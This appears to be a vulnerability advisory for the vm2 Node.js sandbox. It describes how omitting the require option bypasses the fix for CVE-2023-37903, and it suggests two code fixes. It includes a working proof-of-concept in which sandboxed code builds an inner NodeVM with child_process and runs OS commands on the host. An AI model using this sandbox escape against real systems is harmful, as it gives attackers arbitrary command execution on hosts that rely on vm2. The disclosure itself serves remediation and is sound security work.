vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE
Summary
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.
When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.
Root Cause
```javascript
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:false
```
Impact
Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:
1. require('vm2') to get the vm2 library
2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
3. Execute arbitrary OS commands via child_process.execSync
The inner VM is completely unconstrained by the outer sandbox configuration.
Reproduction
```javascript
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid — full RCE
```
Suggested Fix
```javascript
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}
```
Or move the check after the destructuring default assignment:
```javascript
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}
```
